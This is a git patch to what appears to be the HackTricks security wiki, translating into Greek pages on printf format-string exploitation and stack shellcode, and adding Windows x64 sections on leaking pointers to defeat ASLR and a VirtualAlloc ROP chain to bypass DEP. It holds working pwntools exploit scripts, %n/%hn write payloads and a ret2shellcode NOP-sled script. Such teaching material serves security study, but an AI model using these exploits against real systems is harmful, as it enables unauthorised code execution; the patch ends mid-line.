From 91435b458410185a788c8a3347a24efbaa2f1350 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 16:57:30 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/format-strings/README.md', 'src/win --- src/SUMMARY.md | 1 + .../format-strings/README.md | 120 ++- .../stack-overflow/stack-shellcode/README.md | 116 ++- .../README.md | 791 +++++++++--------- .../arbitrary-kernel-rw-token-theft.md | 122 +++ 5 files changed, 701 insertions(+), 449 deletions(-) create mode 100644 src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index ccaa8f2fe..e181a795f 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -234,6 +234,7 @@ - [Authentication Credentials Uac And Efs](windows-hardening/authentication-credentials-uac-and-efs.md) - [Checklist - Local Windows Privilege Escalation](windows-hardening/checklist-windows-privilege-escalation.md) - [Windows Local Privilege Escalation](windows-hardening/windows-local-privilege-escalation/README.md) + - [Arbitrary Kernel Rw Token Theft](windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md) - [Dll Hijacking](windows-hardening/windows-local-privilege-escalation/dll-hijacking.md) - [Abusing Tokens](windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md) - [Access Tokens](windows-hardening/windows-local-privilege-escalation/access-tokens.md) diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index a8b2fd830..e0eec6ca2 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -3,15 +3,15 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Βασικές Πληροφορίες -Στην C **`printf`** είναι μια συνάρτηση που μπορεί να χρησιμοποιηθεί για να **εκτυπώσει** κάποιο κείμενο. Η **πρώτη παράμετρος** που αναμένει αυτή η συνάρτηση είναι το **ακατέργαστο κείμενο με τους μορφοποιητές**. Οι **επόμενες παράμετροι** που αναμένονται είναι οι **τιμές** για να **αντικαταστήσουν** τους **μορφοποιητές** από το ακατέργαστο κείμενο. +Στη C η **`printf`** είναι μια συνάρτηση που μπορεί να χρησιμοποιηθεί για να **εκτυπώσει** μια συμβολοσειρά. Η **πρώτη παράμετρος** που αναμένει αυτή η συνάρτηση είναι το **ακατέργαστο κείμενο με τους μορφοποιητές**. Οι **επόμενες παράμετροι** που αναμένονται είναι οι **τιμές** για να **αντικαταστήσουν** τους **μορφοποιητές** στο ακατέργαστο κείμενο. Άλλες ευάλωτες συναρτήσεις είναι οι **`sprintf()`** και **`fprintf()`**. -Η ευπάθεια εμφανίζεται όταν ένα **κείμενο επιτιθέμενου χρησιμοποιείται ως η πρώτη παράμετρος** σε αυτή τη συνάρτηση. Ο επιτιθέμενος θα είναι σε θέση να δημιουργήσει μια **ειδική είσοδο εκμεταλλευόμενος** τις δυνατότητες της **μορφής printf** για να διαβάσει και να **γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/γρα writable)**. Έτσι θα μπορεί να **εκτελέσει αυθαίρετο κώδικα**. +Η ευπάθεια εμφανίζεται όταν ένα **κείμενο επιτιθέμενου χρησιμοποιείται ως το πρώτο όρισμα** αυτής της συνάρτησης. Ο επιτιθέμενος θα μπορεί να κατασκευάσει μια **ειδική είσοδο που καταχράται** τις δυνατότητες του **printf format** για να διαβάσει και να **γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (readable/writable)**. Με αυτόν τον τρόπο μπορεί να **εκτελέσει αυθαίρετο κώδικα**. -#### Formatters: +#### Μορφοποιητές: ```bash %08x —> 8 hex bytes %d —> Entire @@ -35,7 +35,7 @@ printf(buffer); // If buffer contains "%x", it reads from the stack. int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` -- Με Ελλείποντες Παραμέτρους: +- Με Ελλείποντα Ορίσματα: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` @@ -52,28 +52,28 @@ fclose(output_file); return 0; } ``` -### **Πρόσβαση σε Δείκτες** +### **Πρόσβαση σε δείκτες** -Η μορφή **`%$x`**, όπου `n` είναι ένας αριθμός, επιτρέπει να υποδείξετε στο printf να επιλέξει την n παράμετρο (από τη στοίβα). Έτσι, αν θέλετε να διαβάσετε την 4η παράμετρο από τη στοίβα χρησιμοποιώντας το printf, μπορείτε να κάνετε: +Η μορφή **`%$x`**, όπου `n` είναι ένας αριθμός, επιτρέπει να υποδείξετε στο printf να επιλέξει την n-οστή παράμετρο (από τη στοίβα). Έτσι, αν θέλετε να διαβάσετε την 4η παράμετρο από τη στοίβα χρησιμοποιώντας printf, θα μπορούσατε να κάνετε: ```c printf("%x %x %x %x") ``` -και θα διάβαζες από την πρώτη έως την τέταρτη παράμετρο. +και θα διαβάζατε από το πρώτο έως το τέταρτο param. -Ή θα μπορούσες να κάνεις: +Ή μπορείτε να κάνετε: ```c printf("%4$x") ``` -και διαβάστε απευθείας το τέταρτο. +και να διαβάσει απευθείας το τέταρτο. -Σημειώστε ότι ο επιτιθέμενος ελέγχει την παράμετρο `printf`, **που σημαίνει ότι** η είσοδός του θα είναι στη στοίβα όταν καλείται το `printf`, που σημαίνει ότι θα μπορούσε να γράψει συγκεκριμένες διευθύνσεις μνήμης στη στοίβα. +Παρατηρήστε ότι ο attacker ελέγχει την `printf` παράμετρο, που ουσιαστικά σημαίνει ότι η είσοδός του θα βρίσκεται στο stack όταν κληθεί το `printf`, και επομένως μπορεί να γράψει συγκεκριμένες διευθύνσεις μνήμης στο stack. > [!CAUTION] -> Ένας επιτιθέμενος που ελέγχει αυτή την είσοδο, θα είναι σε θέση να **προσθέσει αυθαίρετες διευθύνσεις στη στοίβα και να κάνει το `printf` να τις προσπελάσει**. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιηθεί αυτή η συμπεριφορά. +> Ένας attacker που ελέγχει αυτήν την είσοδο θα μπορέσει να **προσθέσει αυθαίρετες διευθύνσεις στο stack και να κάνει το `printf` να τις προσπελάσει**. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιηθεί αυτή η συμπεριφορά. -## **Αυθαίρετη Ανάγνωση** +## **Arbitrary Read** -Είναι δυνατόν να χρησιμοποιηθεί ο μορφοποιητής **`%n$s`** για να κάνει το **`printf`** να αποκτήσει τη **διεύθυνση** που βρίσκεται στη **n θέση**, ακολουθώντας την και **να την εκτυπώσει σαν να ήταν μια συμβολοσειρά** (εκτύπωση μέχρι να βρεθεί ένα 0x00). Έτσι, αν η βασική διεύθυνση του δυαδικού είναι **`0x8048000`**, και γνωρίζουμε ότι η είσοδος του χρήστη ξεκινά στη 4η θέση στη στοίβα, είναι δυνατόν να εκτυπωθεί η αρχή του δυαδικού με: +Είναι δυνατό να χρησιμοποιηθεί ο formatter **`%n$s`** για να κάνει το **`printf`** να πάρει τη **διεύθυνση** που βρίσκεται στη **n θέση**, να την ακολουθήσει και να **την εκτυπώσει σαν να ήταν string** (εκτυπώνει μέχρι να βρεθεί 0x00). Έτσι, αν η base address του binary είναι **`0x8048000`**, και γνωρίζουμε ότι η είσοδος χρήστη ξεκινά στην 4η θέση στο stack, είναι δυνατό να εκτυπώσουμε την αρχή του binary με: ```python from pwn import * @@ -87,11 +87,11 @@ p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` > [!CAUTION] -> Σημειώστε ότι δεν μπορείτε να βάλετε τη διεύθυνση 0x8048000 στην αρχή της εισόδου γιατί η συμβολοσειρά θα κοπεί στο 0x00 στο τέλος αυτής της διεύθυνσης. +> Σημειώστε ότι δεν μπορείτε να τοποθετήσετε τη διεύθυνση 0x8048000 στην αρχή του input επειδή το string θα κοπεί στο 0x00 στο τέλος αυτής της διεύθυνσης. -### Βρείτε την απόσταση +### Εύρεση offset -Για να βρείτε την απόσταση στην είσοδό σας, μπορείτε να στείλετε 4 ή 8 bytes (`0x41414141`) ακολουθούμενα από **`%1$x`** και **να αυξήσετε** την τιμή μέχρι να ανακτήσετε τα `A's`. +Για να βρείτε το offset προς το input σας, μπορείτε να στείλετε 4 ή 8 bytes (`0x41414141`) ακολουθούμενα από **`%1$x`** και να **αυξήσετε** την τιμή μέχρι να εντοπίσετε τα `A's`.
@@ -128,38 +128,38 @@ p.close() ### Πόσο χρήσιμο -Οι αυθαίρετες αναγνώσεις μπορούν να είναι χρήσιμες για: +Arbitrary reads μπορούν να είναι χρήσιμες για: -- **Dump** το **binary** από τη μνήμη -- **Πρόσβαση σε συγκεκριμένα μέρη της μνήμης όπου αποθηκεύεται ευαίσθητη** **πληροφορία** (όπως canaries, κλειδιά κρυπτογράφησης ή προσαρμοσμένους κωδικούς όπως σε αυτήν την [**CTF πρόκληση**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **Dump** the **binary** από τη μνήμη +- **Access specific parts of memory where sensitive** **info** is stored (όπως canaries, encryption keys ή custom passwords όπως σε αυτό το [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) -## **Αυθαίρετη Εγγραφή** +## **Arbitrary Write** -Ο μορφοποιητής **`%$n`** **γράφει** τον **αριθμό των γραμμένων byte** στη **δεικνυόμενη διεύθυνση** στην παράμετρο \ στο stack. Εάν ένας επιτιθέμενος μπορεί να γράψει τόσους χαρακτήρες όσους θέλει με το printf, θα είναι σε θέση να κάνει τον **`%$n`** να γράψει έναν αυθαίρετο αριθμό σε μια αυθαίρετη διεύθυνση. +Ο μορφοποιητής **`%$n`** γράφει τον αριθμό των γραμμένων bytes στη διεύθυνση που υποδεικνύεται από την παράμετρο στην stack. Εάν ένας επιτιθέμενος μπορεί να γράψει όσους χαρακτήρες θέλει μέσω printf, θα μπορέσει να κάνει το **`%$n`** να γράψει οποιονδήποτε αριθμό σε οποιαδήποτε διεύθυνση. -Ευτυχώς, για να γράψει τον αριθμό 9999, δεν είναι απαραίτητο να προσθέσει 9999 "A"s στην είσοδο, για να το κάνει αυτό είναι δυνατό να χρησιμοποιήσει τον μορφοποιητή **`%.%$n`** για να γράψει τον αριθμό **``** στη **διεύθυνση που υποδεικνύεται από τη θέση `num`**. +Ευτυχώς, για να γράψεις τον αριθμό 9999, δεν χρειάζεται να προσθέσεις 9999 "A"s στην είσοδο — μπορείς να χρησιμοποιήσεις τον formatter **`%.%$n`** για να γράψεις τον αριθμό **``** στη **διεύθυνση που δείχνει η θέση `num`**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως το `0x08049724` (η οποία είναι ένας ΜΕΓΑΛΟΣ αριθμός για να γραφτεί ταυτόχρονα), **χρησιμοποιείται το `$hn`** αντί για το `$n`. Αυτό επιτρέπει να **γραφούν μόνο 2 Bytes**. Επομένως, αυτή η λειτουργία εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα. +Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως `0x08049724` (που είναι ένας τεράστιος αριθμός για να γραφτεί μονομιάς), **χρησιμοποιείται `$hn`** αντί του `$n`. Αυτό επιτρέπει να **γραφτούν μόνο 2 Bytes**. Επομένως αυτή η ενέργεια εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα. -Επομένως, αυτή η ευπάθεια επιτρέπει να **γραφεί οτιδήποτε σε οποιαδήποτε διεύθυνση (τυχαία εγγραφή).** +Συνεπώς, αυτή η ευπάθεια επιτρέπει να **γράψετε οτιδήποτε σε οποιαδήποτε διεύθυνση (arbitrary write).** -Σε αυτό το παράδειγμα, ο στόχος είναι να **επικαλυφθεί** η **διεύθυνση** μιας **λειτουργίας** στον πίνακα **GOT** που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες τεχνικές τυχαίας εγγραφής για εκτέλεση: +Στο παράδειγμα αυτό, ο στόχος θα είναι να **επαναγράψουμε** την **διεύθυνση** μιας **function** στον πίνακα **GOT** που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες τεχνικές arbitrary write-to-exec: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -Θα **επικαλυφθεί** μια **λειτουργία** που **λαμβάνει** τα **ορίσματά** της από τον **χρήστη** και θα **δείξει** τη **λειτουργία** **`system`**.\ -Όπως αναφέρθηκε, για να γραφεί η διεύθυνση, συνήθως απαιτούνται 2 βήματα: Πρώτα **γράφονται 2Bytes** της διεύθυνσης και στη συνέχεια τα άλλα 2. Για να το κάνετε αυτό, χρησιμοποιείται το **`$hn`**. +Θα **επαναγράψουμε** μια **function** που **λαμβάνει** τα **arguments** της από τον **χρήστη** και θα την **δείξουμε** στην **function** **`system`**.\ +Όπως αναφέρθηκε, για να γράψετε τη διεύθυνση, συνήθως χρειάζονται 2 βήματα: Πρώτα **γράφεις 2Bytes** της διεύθυνσης και μετά τα υπόλοιπα 2. Για αυτό χρησιμοποιείται **`$hn`**. -- **HOB** ονομάζεται για τα 2 υψηλότερα bytes της διεύθυνσης -- **LOB** ονομάζεται για τα 2 χαμηλότερα bytes της διεύθυνσης +- **HOB** αναφέρεται στα 2 υψηλότερα bytes της διεύθυνσης +- **LOB** αναφέρεται στα 2 χαμηλότερα bytes της διεύθυνσης -Στη συνέχεια, λόγω του πώς λειτουργεί η μορφή συμβολοσειράς, πρέπει να **γραφεί πρώτα το μικρότερο** από \[HOB, LOB] και στη συνέχεια το άλλο. +Στη συνέχεια, λόγω του τρόπου που λειτουργεί το format string, πρέπει να **γράψετε πρώτα το μικρότερο** των \[HOB, LOB] και μετά το άλλο. Αν HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` @@ -171,16 +171,16 @@ HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` -### Pwntools Template +### Pwntools Πρότυπο -Μπορείτε να βρείτε ένα **πρότυπο** για να προετοιμάσετε μια εκμετάλλευση για αυτόν τον τύπο ευπάθειας στο: +Μπορείτε να βρείτε ένα **πρότυπο** για να προετοιμάσετε ένα exploit για αυτό το είδος ευπάθειας στο: {{#ref}} format-strings-template.md {{#endref}} -Ή αυτό το βασικό παράδειγμα από [**εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): +Ή αυτό το βασικό παράδειγμα από [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): ```python from pwn import * @@ -201,18 +201,60 @@ p.interactive() ``` ## Format Strings to BOF -Είναι δυνατόν να καταχραστείτε τις ενέργειες εγγραφής μιας ευπάθειας μορφής συμβολοσειράς για να **γράψετε σε διευθύνσεις της στοίβας** και να εκμεταλλευτείτε μια ευπάθεια τύπου **buffer overflow**. +Είναι δυνατόν να εκμεταλλευτεί κανείς τις ενέργειες εγγραφής μιας format string ευπάθειας για να **γράψει σε διευθύνσεις της στοίβας** και να εκμεταλλευτεί μια ευπάθεια τύπου **buffer overflow**. -## Other Examples & References + +## Windows x64: Format-string leak to bypass ASLR (no varargs) + +Στα Windows x64, οι πρώτες τέσσερις integer/pointer παράμετροι περνιούνται σε registers: RCX, RDX, R8, R9. Σε πολλές buggy call-sites, το attacker-controlled string χρησιμοποιείται ως το format argument, αλλά δεν παρέχονται variadic arguments, για παράδειγμα: +```c +// keyData is fully controlled by the client +// _snprintf(dst, len, fmt, ...) +_snprintf(keyStringBuffer, 0xff2, (char*)keyData); +``` +Επειδή δεν περνιούνται varargs, οποιαδήποτε conversion όπως "%p", "%x", "%s" θα αναγκάσει την CRT να διαβάσει το επόμενο variadic argument από τον κατάλληλο register. Με την Microsoft x64 calling convention η πρώτη τέτοια ανάγνωση για "%p" προέρχεται από R9. Οποιαδήποτε παροδική τιμή βρίσκεται στο R9 στο call-site θα εκτυπωθεί. Στην πράξη αυτό συχνά leak ένα σταθερό in-module pointer (π.χ., ένας pointer σε ένα local/global object που προηγουμένως τοποθετήθηκε στο R9 από περιβάλλοντα κώδικα ή μια callee-saved value), το οποίο μπορεί να χρησιμοποιηθεί για να ανακτηθεί το module base και να παρακαμφθεί το ASLR. + +Practical workflow: + +- Εγχύστε ένα harmless format όπως "%p " στην αρχή του attacker-controlled string έτσι ώστε η πρώτη conversion να εκτελεστεί πριν από οποιοδήποτε filtering. +- Capture the leaked pointer, προσδιορίστε το static offset αυτού του αντικειμένου μέσα στο module (με reversing μία φορά χρησιμοποιώντας symbols ή ένα local copy), και ανακτήστε το image base ως `leak - known_offset`. +- Επαναχρησιμοποιήστε αυτό το base για να υπολογίσετε absolute addresses για ROP gadgets και IAT entries απομακρυσμένα. + +Example (abbreviated python): +```python +from pwn import remote + +# Send an input that the vulnerable code will pass as the "format" +fmt = b"%p " + b"-AAAAA-BBB-CCCC-0252-" # leading %p leaks R9 +io = remote(HOST, 4141) +# ... drive protocol to reach the vulnerable snprintf ... +leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660 +base = leaked - 0x20660 # module base = leak - offset +print(hex(leaked), hex(base)) +``` +Σημειώσεις: +- Το ακριβές offset που πρέπει να αφαιρεθεί εντοπίζεται μία φορά κατά το local reversing και στη συνέχεια επαναχρησιμοποιείται (same binary/version). +- Αν "%p" δεν εκτυπώσει έναν έγκυρο pointer στην πρώτη προσπάθεια, δοκιμάστε άλλους specifiers ("%llx", "%s") ή πολλαπλές μετατροπές ("%p %p %p") για να δείτε άλλους argument registers/stack. +- Αυτό το μοτίβο είναι συγκεκριμένο για την Windows x64 calling convention και τις printf-family implementations που ανακτούν μη-υπάρχοντα varargs από registers όταν το format string τα ζητά. + +Αυτή η τεχνική είναι εξαιρετικά χρήσιμη για να bootstrap ROP σε Windows services compiled με ASLR και χωρίς προφανή memory disclosure primitives. + +## Άλλα Παραδείγματα & Αναφορές - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow) +- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (χωρίς ανάγκη αλλαγής της ροής εκτέλεσης) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) +- 32 bit, relro, no canary, nx, no pie, format string για overwrite της διεύθυνσης `fflush` με τη win function (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands. +- 32 bit, relro, no canary, nx, no pie, format string για να γράψετε μια διεύθυνση μέσα στο main στο `.fini_array` (ώστε η ροή να επιστρέψει ακόμη 1 φορά) και να γράψετε τη διεύθυνση του `system` στον GOT πίνακα δείχνοντας σε `strlen`. Όταν η ροή επιστρέψει στο main, το `strlen` θα εκτελεστεί με user input και δείχνοντας σε `system`, και θα εκτελέσει τις δοθείσες εντολές. + + +## Αναφορές + +- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) +- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md index 53360a259..4c33338fa 100644 --- a/src/binary-exploitation/stack-overflow/stack-shellcode/README.md +++ b/src/binary-exploitation/stack-overflow/stack-shellcode/README.md @@ -2,13 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Βασικές Πληροφορίες -**Stack shellcode** είναι μια τεχνική που χρησιμοποιείται στην **binary exploitation** όπου ένας επιτιθέμενος γράφει shellcode στη στοίβα ενός ευάλωτου προγράμματος και στη συνέχεια τροποποιεί τον **Instruction Pointer (IP)** ή τον **Extended Instruction Pointer (EIP)** για να δείξει στη θέση αυτού του shellcode, προκαλώντας την εκτέλεσή του. Αυτή είναι μια κλασική μέθοδος που χρησιμοποιείται για να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή να εκτελέσει αυθαίρετες εντολές σε ένα στοχευμένο σύστημα. Ακολουθεί μια ανάλυση της διαδικασίας, συμπεριλαμβανομένου ενός απλού παραδείγματος C και πώς θα μπορούσατε να γράψετε μια αντίστοιχη εκμετάλλευση χρησιμοποιώντας Python με **pwntools**. +**Stack shellcode** είναι μια τεχνική που χρησιμοποιείται στο **binary exploitation**, όπου ένας attacker γράφει shellcode στη στοίβα ενός ευάλωτου προγράμματος και στη συνέχεια τροποποιεί τον **Instruction Pointer (IP)** ή τον **Extended Instruction Pointer (EIP)** ώστε να δείχνει στη θέση αυτού του shellcode, προκαλώντας την εκτέλεσή του. Αυτή είναι μια κλασική μέθοδος που χρησιμοποιείται για να αποκτήσει μη εξουσιοδοτημένη πρόσβαση ή να εκτελέσει arbitrary commands σε ένα σύστημα-στόχο. Εδώ ακολουθεί μια ανάλυση της διαδικασίας, συμπεριλαμβανομένου ενός απλού παραδείγματος σε C και του πώς θα μπορούσατε να γράψετε ένα αντίστοιχο exploit χρησιμοποιώντας Python με **pwntools**. -### C Example: A Vulnerable Program +### Παράδειγμα C: Ένα Ευάλωτο Πρόγραμμα -Let's start with a simple example of a vulnerable C program: +Ας ξεκινήσουμε με ένα απλό παράδειγμα ενός ευάλωτου C προγράμματος: ```c #include #include @@ -24,22 +24,22 @@ printf("Returned safely\n"); return 0; } ``` -Αυτό το πρόγραμμα είναι ευάλωτο σε overflow buffer λόγω της χρήσης της συνάρτησης `gets()`. +Αυτό το πρόγραμμα είναι ευάλωτο σε buffer overflow λόγω της χρήσης της συνάρτησης `gets()`. -### Συγκέντρωση +### Compilation -Για να συγκεντρώσετε αυτό το πρόγραμμα απενεργοποιώντας διάφορες προστασίες (για να προσομοιώσετε ένα ευάλωτο περιβάλλον), μπορείτε να χρησιμοποιήσετε την παρακάτω εντολή: +Για να μεταγλωττίσετε αυτό το πρόγραμμα ενώ απενεργοποιείτε διάφορες προστασίες (για να προσομοιώσετε ένα ευάλωτο περιβάλλον), μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή: ```sh gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c ``` -- `-fno-stack-protector`: Απενεργοποιεί την προστασία της στοίβας. -- `-z execstack`: Κάνει τη στοίβα εκτελέσιμη, κάτι που είναι απαραίτητο για την εκτέλεση του shellcode που είναι αποθηκευμένο στη στοίβα. -- `-no-pie`: Απενεργοποιεί το Position Independent Executable, διευκολύνοντας την πρόβλεψη της διεύθυνσης μνήμης όπου θα βρίσκεται το shellcode μας. -- `-m32`: Συμπιέζει το πρόγραμμα ως 32-bit εκτελέσιμο, συχνά χρησιμοποιούμενο για απλότητα στην ανάπτυξη εκμεταλλεύσεων. +- `-fno-stack-protector`: Απενεργοποιεί την προστασία του stack. +- `-z execstack`: Κάνει το stack εκτελέσιμο, κάτι που είναι απαραίτητο για την εκτέλεση του shellcode που είναι αποθηκευμένο στο stack. +- `-no-pie`: Απενεργοποιεί το Position Independent Executable, κάνοντας πιο εύκολο τον υπολογισμό της διεύθυνσης μνήμης όπου θα βρίσκεται το shellcode μας. +- `-m32`: Μεταγλωττίζει το πρόγραμμα ως 32-bit εκτελέσιμο, συχνά χρησιμοποιείται για απλότητα στην ανάπτυξη exploits. ### Python Exploit using Pwntools -Here's how you could write an exploit in Python using **pwntools** to perform a **ret2shellcode** attack: +Ακολουθεί πώς μπορείτε να γράψετε ένα exploit σε Python χρησιμοποιώντας **pwntools** για να πραγματοποιήσετε μια επίθεση **ret2shellcode**: ```python from pwn import * @@ -66,26 +66,98 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide p.sendline(payload) p.interactive() ``` -Αυτό το σενάριο κατασκευάζει ένα payload που αποτελείται από μια **NOP slide**, το **shellcode**, και στη συνέχεια αντικαθιστά το **EIP** με τη διεύθυνση που δείχνει στην NOP slide, διασφαλίζοντας ότι το shellcode θα εκτελεστεί. +Αυτό το script κατασκευάζει ένα payload που αποτελείται από ένα **NOP slide**, το **shellcode**, και στη συνέχεια υπεργράφει το **EIP** με τη διεύθυνση που δείχνει στο NOP slide, διασφαλίζοντας ότι το shellcode θα εκτελεστεί. -Η **NOP slide** (`asm('nop')`) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα "γλιστρήσει" στο shellcode μας ανεξάρτητα από τη ακριβή διεύθυνση. Ρυθμίστε το επιχείρημα `p32()` στη διεύθυνση εκκίνησης του buffer σας συν ένα offset για να προσγειωθείτε στην NOP slide. +Το **NOP slide** (`asm('nop')`) χρησιμοποιείται για να αυξήσει την πιθανότητα ότι η εκτέλεση θα «γλιστρήσει» στο shellcode μας ανεξάρτητα από την ακριβή διεύθυνση. Προσαρμόστε το όρισμα `p32()` στη διεύθυνση εκκίνησης του buffer σας συν ένα offset ώστε να προσγειωθείτε στο NOP slide. -## Προστασίες +## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode) -- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **θα πρέπει να είναι απενεργοποιημένο** για να είναι η διεύθυνση αξιόπιστη σε όλες τις εκτελέσεις ή η διεύθυνση όπου θα αποθηκευτεί η συνάρτηση δεν θα είναι πάντα η ίδια και θα χρειαστείτε κάποια leak για να καταλάβετε πού είναι φορτωμένη η win function. -- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) θα πρέπει επίσης να είναι απενεργοποιημένα ή η συμβιβασμένη διεύθυνση επιστροφής EIP δεν θα ακολουθηθεί ποτέ. -- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** προστασία θα αποτρέψει την εκτέλεση του shellcode μέσα στη στοίβα επειδή αυτή η περιοχή δεν θα είναι εκτελέσιμη. +Σε σύγχρονα Windows η στοίβα είναι μη εκτελέσιμη (DEP/NX). Ένας συνηθισμένος τρόπος για να εκτελέσετε shellcode που βρίσκεται στη στοίβα μετά από stack BOF είναι να φτιάξετε μια 64-bit ROP chain που καλεί την VirtualAlloc (ή VirtualProtect) από το module Import Address Table (IAT) για να κάνει μια περιοχή της στοίβας εκτελέσιμη και στη συνέχεια να επιστρέψει στο shellcode που ακολουθεί την αλυσίδα. + +Σημεία-κλειδιά (Win64 calling convention): +- VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect) +- RCX = lpAddress → επιλέξτε μια διεύθυνση στην τρέχουσα στοίβα (π.χ., RSP) ώστε η νεοδεσμευμένη περιοχή RWX να επικαλύπτει το payload σας +- RDX = dwSize → αρκετά μεγάλη για την αλυσίδα + shellcode σας (π.χ., 0x1000) +- R8 = flAllocationType = MEM_COMMIT (0x1000) +- R9 = flProtect = PAGE_EXECUTE_READWRITE (0x40) +- Επιστρέψτε απευθείας στο shellcode τοποθετημένο αμέσως μετά την αλυσίδα. + +Ελάχιστη στρατηγική: +1) Leak μια βάση module (π.χ., μέσω format-string, object pointer, κ.λπ.) για να υπολογίσετε τις απόλυτες διευθύνσεις των gadgets και του IAT υπό ASLR. +2) Βρείτε gadgets για να φορτώσετε RCX/RDX/R8/R9 (pop ή mov/xor-based sequences) και ένα call/jmp [VirtualAlloc@IAT]. Αν δεν έχετε άμεσα pop r8/r9, χρησιμοποιήστε arithmetic gadgets για να συνθέσετε σταθερές (π.χ., θέστε r8=0 και επαναλάβετε προσθήκη r9=0x40 σαράντα φορές για να φτάσετε 0x1000). +3) Τοποθετήστε stage-2 shellcode αμέσως μετά την αλυσίδα. + +Παράδειγμα διάταξης (εννοιολογικό): +``` +# ... padding up to saved RIP ... +# R9 = 0x40 (PAGE_EXECUTE_READWRITE) +POP_R9_RET; 0x40 +# R8 = 0x1000 (MEM_COMMIT) — if no POP R8, derive via arithmetic +POP_R8_RET; 0x1000 +# RCX = &stack (lpAddress) +LEA_RCX_RSP_RET # or sequence: load RSP into a GPR then mov rcx, reg +# RDX = size (dwSize) +POP_RDX_RET; 0x1000 +# Call VirtualAlloc via the IAT +[IAT_VirtualAlloc] +# New RWX memory at RCX — execution continues at the next stack qword +JMP_SHELLCODE_OR_RET +# ---- stage-2 shellcode (x64) ---- +``` +Με ένα περιορισμένο σύνολο gadgets, μπορείτε να κατασκευάσετε τιμές καταχωρητών έμμεσα, για παράδειγμα: +- mov r9, rbx; mov r8, 0; add rsp, 8; ret → 